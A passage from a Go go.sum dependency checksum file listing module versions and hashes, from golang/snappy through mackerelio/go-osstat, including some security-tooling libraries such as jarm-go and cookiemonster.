v0.0.0-20180518054509-2e65f85255db/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=\ngithub.com/golang/snappy v1.0.0 h1:Oy607GVXHs7RtbggtPBnr2RmDArIsAefDwvrdWvRhGs=\ngithub.com/golang/snappy v1.0.0/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=\ngithub.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=\ngithub.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=\ngithub.com/google/certificate-transparency-go v1.3.2 h1:9ahSNZF2o7SYMaKaXhAumVEzXB2QaayzII9C8rv7v+A=\ngithub.com/google/certificate-transparency-go v1.3.2/go.mod h1:H5FpMUaGa5Ab2+KCYsxg6sELw3Flkl7pGZzWdBoYLXs=\ngithub.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=\ngithub.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=\ngithub.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=\ngithub.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=\ngithub.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=\ngithub.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=\ngithub.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=\ngithub.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=\ngithub.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=\ngithub.com/google/go-github v17.0.0+incompatible h1:N0LgJ1j65A7kfXrZnUDaYCs/Sf4rEjNlfyDHW9dolSY=\ngithub.com/google/go-github v17.0.0+incompatible/go.mod h1:zLgOLi98H3fifZn+44m+umXrS52loVEgC2AApnigrVQ=\ngithub.com/google/go-github/v30 v30.1.0 h1:VLDx+UolQICEOKu2m4uAoMti1SxuEBAl7RSEG16L+Oo=\ngithub.com/google/go-github/v30 v30.1.0/go.mod h1:n8jBpHl45a/rlBUtRJMOG4GhNADUQFEufcolZ95JfU8=\ngithub.com/google/go-github/v50 v50.2.0/go.mod h1:VBY8FB6yPIjrtKhozXv4FQupxKLS6H4m6xFZlT43q8Q=\ngithub.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck=\ngithub.com/google/go-querystring v1.1.0 h1:AnCroh3fv4ZBgVIf1Iwtovgjaw/GiKJo8M8yD/fhyJ8=\ngithub.com/google/go-querystring v1.1.0/go.mod h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU=\ngithub.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=\ngithub.com/google/gofuzz v1.2.0 h1:xRy4A+RhZaiKjJ1bPfwQ8sedCA+YS2YcCHW6ec7JMi0=\ngithub.com/google/gofuzz v1.2.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=\ngithub.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=\ngithub.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0=\ngithub.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=\ngithub.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=\ngithub.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=\ngithub.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=\ngithub.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=\ngithub.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=\ngithub.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=\ngithub.com/google/pprof v0.0.0-20240227163752-401108e1b7e7/go.mod h1:czg5+yv1E0ZGTi6S6vVK1mke0fV+FaUhNGcd6VRS9Ik=\ngithub.com/google/pprof v0.0.0-20240727154555-813a5fbdbec8 h1:FKHo8hFI3A+7w0aUQuYXQ+6EN5stWmeY/AZqtM8xk9k=\ngithub.com/google/pprof v0.0.0-20240727154555-813a5fbdbec8/go.mod h1:K1liHPHnj73Fdn/EKuT8nrFqBihUSKXoLYU0BuatOYo=\ngithub.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=\ngithub.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 h1:El6M4kTTCOh6aBiKaUGG7oYTSPP8MxqL4YI3kZKwcP4=\ngithub.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ=\ngithub.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=\ngithub.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=\ngithub.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg=\ngithub.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk=\ngithub.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1 h1:EGx4pi6eqNxGaHF6qqu48+N2wcFQ5qg5FXgOdqsJ5d8=\ngithub.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=\ngithub.com/gorilla/css v1.0.1 h1:ntNaBIghp6JmvWnxbZKANoLyuXTPZ4cAMlo6RyhlbO8=\ngithub.com/gorilla/css v1.0.1/go.mod h1:BvnYkspnSzMmwRK+b8/xgNPLiIuNZr6vbZBTPQ2A3b0=\ngithub.com/gorilla/securecookie v1.1.1/go.mod h1:ra0sb63/xPlUeL+yeDciTfxMRAA+MP+HVt/4epWDjd4=\ngithub.com/gorilla/sessions v1.2.1/go.mod h1:dk2InVEVJ0sfLlnXv9EAgkf6ecYs/i80K/zI+bUmuGM=\ngithub.com/gosimple/slug v1.15.0 h1:wRZHsRrRcs6b0XnxMUBM6WK1U1Vg5B0R7VkIf1Xzobo=\ngithub.com/gosimple/slug v1.15.0/go.mod h1:UiRaFH+GEilHstLUmcBgWcI42viBN7mAb818JrYOeFQ=\ngithub.com/gosimple/unidecode v1.0.1 h1:hZzFTMMqSswvf0LBJZCZgThIZrpDHFXux9KeGmn6T/o=\ngithub.com/gosimple/unidecode v1.0.1/go.mod h1:CP0Cr1Y1kogOtx0bJblKzsVWrqYaqfNOnHzpgWw4Awc=\ngithub.com/grpc-ecosystem/grpc-gateway/v2 v2.26.3 h1:5ZPtiqj0JL5oKWmcsq4VMaAW5ukBEgSGXEN89zeH1Jo=\ngithub.com/grpc-ecosystem/grpc-gateway/v2 v2.26.3/go.mod h1:ndYquD05frm2vACXE1nsccT4oJzjhw2arTS2cpUD1PI=\ngithub.com/h2non/filetype v1.1.3 h1:FKkx9QbD7HR/zjK1Ia5XiBsq9zdLi5Kf3zGyFTAFkGg=\ngithub.com/h2non/filetype v1.1.3/go.mod h1:319b3zT68BvV+WRj7cwy856M2ehB3HqNOt6sy1HndBY=\ngithub.com/hashicorp/go-cleanhttp v0.5.2 h1:035FKYIWjmULyFRBKPs8TBQoi0x6d9G4xc9neXJWAZQ=\ngithub.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48=\ngithub.com/hashicorp/go-hclog v1.6.3 h1:Qr2kF+eVWjTiYmU7Y31tYlP1h0q/X3Nl3tPGdaB11/k=\ngithub.com/hashicorp/go-hclog v1.6.3/go.mod h1:W4Qnvbt70Wk/zYJryRzDRU/4r0kIg0PVHBcfoyhpF5M=\ngithub.com/hashicorp/go-retryablehttp v0.7.8 h1:ylXZWnqa7Lhqpk0L1P1LzDtGcCR0rPVUrx/c8Unxc48=\ngithub.com/hashicorp/go-retryablehttp v0.7.8/go.mod h1:rjiScheydd+CxvumBsIrFKlx3iS0jrZ7LvzFGFmuKbw=\ngithub.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=\ngithub.com/hashicorp/go-uuid v1.0.3 h1:2gKiV6YVmrJ1i2CKKa9obLvRieoRGviZFL26PcT/Co8=\ngithub.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=\ngithub.com/hashicorp/go-version v1.5.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA=\ngithub.com/hashicorp/go-version v1.8.0 h1:KAkNb1HAiZd1ukkxDFGmokVZe1Xy9HG6NUp+bPle2i4=\ngithub.com/hashicorp/go-version v1.8.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA=\ngithub.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=\ngithub.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=\ngithub.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=\ngithub.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=\ngithub.com/hbakhtiyor/strsim v0.0.0-20190107154042-4d2bbb273edf h1:umfGUaWdFP2s6457fz1+xXYIWDxdGc7HdkLS9aJ1skk=\ngithub.com/hbakhtiyor/strsim v0.0.0-20190107154042-4d2bbb273edf/go.mod h1:V99KdStnMHZsvVOwIvhfcUzYgYkRZeQWUtumtL+SKxA=\ngithub.com/hdm/jarm-go v0.0.7 h1:Eq0geenHrBSYuKrdVhrBdMMzOmA+CAMLzN2WrF3eL6A=\ngithub.com/hdm/jarm-go v0.0.7/go.mod h1:kinGoS0+Sdn1Rr54OtanET5E5n7AlD6T6CrJAKDjJSQ=\ngithub.com/hexops/gotextdiff v1.0.3 h1:gitA9+qJrrTCsiCl7+kh75nPqQt1cx4ZkudSTLoUqJM=\ngithub.com/hexops/gotextdiff v1.0.3/go.mod h1:pSWU5MAI3yDq+fZBTazCSJysOMbxWL1BSow5/V2vxeg=\ngithub.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=\ngithub.com/iangcarroll/cookiemonster v1.6.0 h1:NPFkn/ZZYZgzXhJ1awRnYhZ3fJK3hKWgbctfTW21kew=\ngithub.com/iangcarroll/cookiemonster v1.6.0/go.mod h1:n3MvoAq56NkNyCEyhcYs3ZJMzTc9rL3w7IaITI0apMg=\ngithub.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=\ngithub.com/ianlancetaylor/demangle v0.0.0-20230524184225-eabc099b10ab/go.mod h1:gx7rwoVhcfuVKG5uya9Hs3Sxj7EIvldVofAWIUtGouw=\ngithub.com/imdario/mergo v0.3.12/go.mod h1:jmQim1M+e3UYxmgPu/WyfjB3N3VflVyUjjjwH0dnCYA=\ngithub.com/imdario/mergo v0.3.16 h1:wwQJbIsHYGMUyLSPrEq1CT16AhnhNJQ51+4fdHUnCl4=\ngithub.com/imdario/mergo v0.3.16/go.mod h1:WBLT9ZmE3lPoWsEzCh9LPo3TiwVN+ZKEjmz+hD27ysY=\ngithub.com/invopop/jsonschema v0.13.0 h1:KvpoAJWEjR3uD9Kbm2HWJmqsEaHt8lBUpd0qHcIi21E=\ngithub.com/invopop/jsonschema v0.13.0/go.mod h1:ffZ5Km5SWWRAIN6wbDXItl95euhFz2uON45H2qjYt+0=\ngithub.com/invopop/yaml v0.3.1 h1:f0+ZpmhfBSS4MhG+4HYseMdJhoeeopbSKbq5Rpeelso=\ngithub.com/invopop/yaml v0.3.1/go.mod h1:PMOp3nn4/12yEZUFfmOuNHJsZToEEOwoWsT+D81KkeA=\ngithub.com/itchyny/gojq v0.12.17 h1:8av8eGduDb5+rvEdaOO+zQUjA04MS0m3Ps8HiD+fceg=\ngithub.com/itchyny/gojq v0.12.17/go.mod h1:WBrEMkgAfAGO1LUcGOckBl5O726KPp+OlkKug0I/FEY=\ngithub.com/itchyny/timefmt-go v0.1.6 h1:ia3s54iciXDdzWzwaVKXZPbiXzxxnv1SPGFfM/myJ5Q=\ngithub.com/itchyny/timefmt-go v0.1.6/go.mod h1:RRDZYC5s9ErkjQvTvvU7keJjxUYzIISJGxm9/mAERQg=\ngithub.com/jarcoal/httpmock v1.3.0 h1:2RJ8GP0IIaWwcC9Fp2BmVi8Kog3v2Hn7VXM3fTd+nuc=\ngithub.com/jarcoal/httpmock v1.3.0/go.mod h1:3yb8rc4BI7TCBhFY8ng0gjuLKJNquuDNiPaZjnENuYg=\ngithub.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99 h1:BQSFePA1RWJOlocH6Fxy8MmwDt+yVQYULKfN0RoTN8A=\ngithub.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99/go.mod h1:1lJo3i6rXxKeerYnT8Nvf0QmHCRC1n8sfWVwXF2Frvo=\ngithub.com/jcmturner/aescts/v2 v2.0.0 h1:9YKLH6ey7H4eDBXW8khjYslgyqG2xZikXP0EQFKrle8=\ngithub.com/jcmturner/aescts/v2 v2.0.0/go.mod h1:AiaICIRyfYg35RUkr8yESTqvSy7csK90qZ5xfvvsoNs=\ngithub.com/jcmturner/dnsutils/v2 v2.0.0 h1:lltnkeZGL0wILNvrNiVCR6Ro5PGU/SeBvVO/8c/iPbo=\ngithub.com/jcmturner/dnsutils/v2 v2.0.0/go.mod h1:b0TnjGOvI/n42bZa+hmXL+kFJZsFT7G4t3HTlQ184QM=\ngithub.com/jcmturner/gofork v1.7.6 h1:QH0l3hzAU1tfT3rZCnW5zXl+orbkNMMRGJfdJjHVETg=\ngithub.com/jcmturner/gofork v1.7.6/go.mod h1:1622LH6i/EZqLloHfE7IeZ0uEJwMSUyQ/nDd82IeqRo=\ngithub.com/jcmturner/goidentity/v6 v6.0.1 h1:VKnZd2oEIMorCTsFBnJWbExfNN7yZr3EhJAxwOkZg6o=\ngithub.com/jcmturner/goidentity/v6 v6.0.1/go.mod h1:X1YW3bgtvwAXju7V3LCIMpY0Gbxyjn/mY9zx4tFonSg=\ngithub.com/jcmturner/gokrb5/v8 v8.4.4 h1:x1Sv4HaTpepFkXbt2IkL29DXRf8sOfZXo8eRKh687T8=\ngithub.com/jcmturner/gokrb5/v8 v8.4.4/go.mod h1:1btQEpgT6k+unzCwX1KdWMEwPPkkgBtP+F6aCACiMrs=\ngithub.com/jcmturner/rpc/v2 v2.0.3 h1:7FXXj8Ti1IaVFpSAziCZWNzbNuZmnvw/i6CqLNdWfZY=\ngithub.com/jcmturner/rpc/v2 v2.0.3/go.mod h1:VUJYCIDm3PVOEHw8sgt091/20OJjskO/YJki3ELg/Hc=\ngithub.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=\ngithub.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=\ngithub.com/jlaffaye/ftp v0.0.0-20190624084859-c1312a7102bf/go.mod h1:lli8NYPQOFy3O++YmYbqVgOcQ1JPCwdOy+5zSjKJ9qY=\ngithub.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY=\ngithub.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y=\ngithub.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4=\ngithub.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=\ngithub.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=\ngithub.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=\ngithub.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=\ngithub.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=\ngithub.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU=\ngithub.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk=\ngithub.com/jtolds/gls v4.20.0+incompatible h1:xdiiI2gbIgH/gLH7ADydsJ1uDOEzR8yvV7C0MuV77Wo=\ngithub.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU=\ngithub.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w=\ngithub.com/julienschmidt/httprouter v1.3.0 h1:U0609e9tgbseu3rBINet9P48AI/D3oJs4dN7jwJOQ1U=\ngithub.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM=\ngithub.com/k14s/difflib v0.0.0-20201117154628-0c031775bf57 h1:CwBRArr+BWBopnUJhDjJw86rPL/jGbEjfHWKzTasSqE=\ngithub.com/k14s/difflib v0.0.0-20201117154628-0c031775bf57/go.mod h1:B0xN2MiNBGWOWi9CcfAo9LBI8IU4J1utlbOIJCsmKr4=\ngithub.com/k14s/starlark-go v0.0.0-20200720175618-3a5c849cc368 h1:4bcRTTSx+LKSxMWibIwzHnDNmaN1x52oEpvnjCy+8vk=\ngithub.com/k14s/starlark-go v0.0.0-20200720175618-3a5c849cc368/go.mod h1:lKGj1op99m4GtQISxoD2t+K+WO/q2NzEPKvfXFQfbCA=\ngithub.com/kaiakz/ubuffer v0.0.0-20200803053910-dd1083087166 h1:IAukUBAVLUWBcexOYgkTD/EjMkfnNos7g7LFpyIdHJI=\ngithub.com/kaiakz/ubuffer v0.0.0-20200803053910-dd1083087166/go.mod h1:T4xUEny5PVedYIbkMAKYEBjMyDsOvvP0qK4s324AKA8=\ngithub.com/kataras/jwt v0.1.10 h1:GBXOF9RVInDPhCFBiDumRG9Tt27l7ugLeLo8HL5SeKQ=\ngithub.com/kataras/jwt v0.1.10/go.mod h1:xkimAtDhU/aGlQqjwvgtg+VyuPwMiyZHaY8LJRh0mYo=\ngithub.com/kevinburke/ssh_config v1.2.0 h1:x584FjTGwHzMwvHx18PXxbBVzfnxogHaAReU4gf13a4=\ngithub.com/kevinburke/ssh_config v1.2.0/go.mod h1:CT57kijsi8u/K/BOFA39wgDQJ9CxiF4nAY/ojJ6r6mM=\ngithub.com/keybase/go-keychain v0.0.1 h1:way+bWYa6lDppZoZcgMbYsvC7GxljxrskdNInRtuthU=\ngithub.com/keybase/go-keychain v0.0.1/go.mod h1:PdEILRW3i9D8JcdM+FmY6RwkHGnhHxXwkPPMeUgOK1k=\ngithub.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=\ngithub.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=\ngithub.com/kitabisa/go-ci v1.0.3 h1:JmIUIvcercRQc/9x/v02ydCCqU4MadSHaNaOF8T2pGA=\ngithub.com/kitabisa/go-ci v1.0.3/go.mod h1:e3wBSzaJbcifXrr/Gw2ZBLn44MmeqP5WySwXyHlCK/U=\ngithub.com/klauspost/compress v1.4.1/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A=\ngithub.com/klauspost/compress v1.18.2 h1:iiPHWW0YrcFgpBYhsA6D1+fqHssJscY/Tm/y2Uqnapk=\ngithub.com/klauspost/compress v1.18.2/go.mod h1:R0h/fSBs8DE4ENlcrlib3PsXS61voFxhIs2DeRhCvJ4=\ngithub.com/klauspost/cpuid v1.2.0/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek=\ngithub.com/klauspost/cpuid/v2 v2.3.0 h1:S4CRMLnYUhGeDFDqkGriYKdfoFlDnMtqTiI/sFzhA9Y=\ngithub.com/klauspost/cpuid/v2 v2.3.0/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0=\ngithub.com/klauspost/pgzip v1.2.6 h1:8RXeL5crjEUFnR2/Sn6GJNWtSQ3Dk8pq4CL3jvdDyjU=\ngithub.com/klauspost/pgzip v1.2.6/go.mod h1:Ch1tH69qFZu15pkjo5kYi6mth2Zzwzt50oCQKQE9RUs=\ngithub.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=\ngithub.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=\ngithub.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc=\ngithub.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=\ngithub.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=\ngithub.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=\ngithub.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=\ngithub.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=\ngithub.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=\ngithub.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=\ngithub.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=\ngithub.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=\ngithub.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=\ngithub.com/labstack/echo/v4 v4.13.4 h1:oTZZW+T3s9gAu5L8vmzihV7/lkXGZuITzTQkTEhcXEA=\ngithub.com/labstack/echo/v4 v4.13.4/go.mod h1:g63b33BZ5vZzcIUF8AtRH40DrTlXnx4UMC8rBdndmjQ=\ngithub.com/labstack/gommon v0.4.2 h1:F8qTUNXgG1+6WQmqoUWnz8WiEU60mXVVw0P4ht1WRA0=\ngithub.com/labstack/gommon v0.4.2/go.mod h1:QlUFxVM+SNXhDL/Z7YhocGIBYOiwB0mXm1+1bAPHPyU=\ngithub.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80/go.mod h1:imJHygn/1yfhB7XSJJKlFZKl/J+dCPAknuiaGOshXAs=\ngithub.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ=\ngithub.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI=\ngithub.com/leslie-qiwa/flat v0.0.0-20230424180412-f9d1cf014baa h1:KQKuQDgA3DZX6C396lt3WDYB9Um1gLITLbvficVbqXk=\ngithub.com/leslie-qiwa/flat v0.0.0-20230424180412-f9d1cf014baa/go.mod h1:HbwNE4XGwjgtUELkvQaAOjWrpianHYZdQVNqSdYW3UM=\ngithub.com/lib/pq v1.11.2 h1:x6gxUeu39V0BHZiugWe8LXZYZ+Utk7hSJGThs8sdzfs=\ngithub.com/lib/pq v1.11.2/go.mod h1:/p+8NSbOcwzAEI7wiMXFlgydTwcgTr3OSKMsD2BitpA=\ngithub.com/libdns/libdns v1.1.1 h1:wPrHrXILoSHKWJKGd0EiAVmiJbFShguILTg9leS/P/U=\ngithub.com/libdns/libdns v1.1.1/go.mod h1:4Bj9+5CQiNMVGf87wjX4CY3HQJypUHRuLvlsfsZqLWQ=\ngithub.com/logrusorgru/aurora v2.0.3+incompatible h1:tOpm7WcpBTn4fjmVfgpQq0EfczGlG91VSDkswnjF5A8=\ngithub.com/logrusorgru/aurora v2.0.3+incompatible/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4=\ngithub.com/logrusorgru/aurora/v4 v4.0.0 h1:sRjfPpun/63iADiSvGGjgA1cAYegEWMPCJdUpJYn9JA=\ngithub.com/logrusorgru/aurora/v4 v4.0.0/go.mod h1:lP0iIa2nrnT/qoFXcOZSrZQpJ1o6n2CUf/hyHi2Q4ZQ=\ngithub.com/lor00x/goldap v0.0.0-20180618054307-a546dffdd1a3/go.mod h1:37YR9jabpiIxsb8X9VCIx8qFOjTDIIrIHHODa8C4gz0=\ngithub.com/lor00x/goldap v0.0.0-20240304151906-8d785c64d1c8 h1:z9RDOBcFcf3f2hSfKuoM3/FmJpt8M+w0fOy4wKneBmc=\ngithub.com/lor00x/goldap v0.0.0-20240304151906-8d785c64d1c8/go.mod h1:37YR9jabpiIxsb8X9VCIx8qFOjTDIIrIHHODa8C4gz0=\ngithub.com/lucasb-eyer/go-colorful v1.3.0 h1:2/yBRLdWBZKrf7gB40FoiKfAWYQ0lqNcbuQwVHXptag=\ngithub.com/lucasb-eyer/go-colorful v1.3.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=\ngithub.com/lufia/plan9stats v0.0.0-20250827001030-24949be3fa54 h1:mFWunSatvkQQDhpdyuFAYwyAan3hzCuma+Pz8sqvOfg=\ngithub.com/lufia/plan9stats v0.0.0-20250827001030-24949be3fa54/go.mod h1:autxFIvghDt3jPTLoqZ9OZ7s9qTGNAWmYCjVFWPX/zg=\ngithub.com/mackerelio/go-osstat v0.2.6 h1:gs4U8BZeS1tjrL08tt5VUliVvSWP26Ai2Ob8Lr7f2i0=\ngithub.com/mackerelio/go-osstat v0.2.6/go.mod 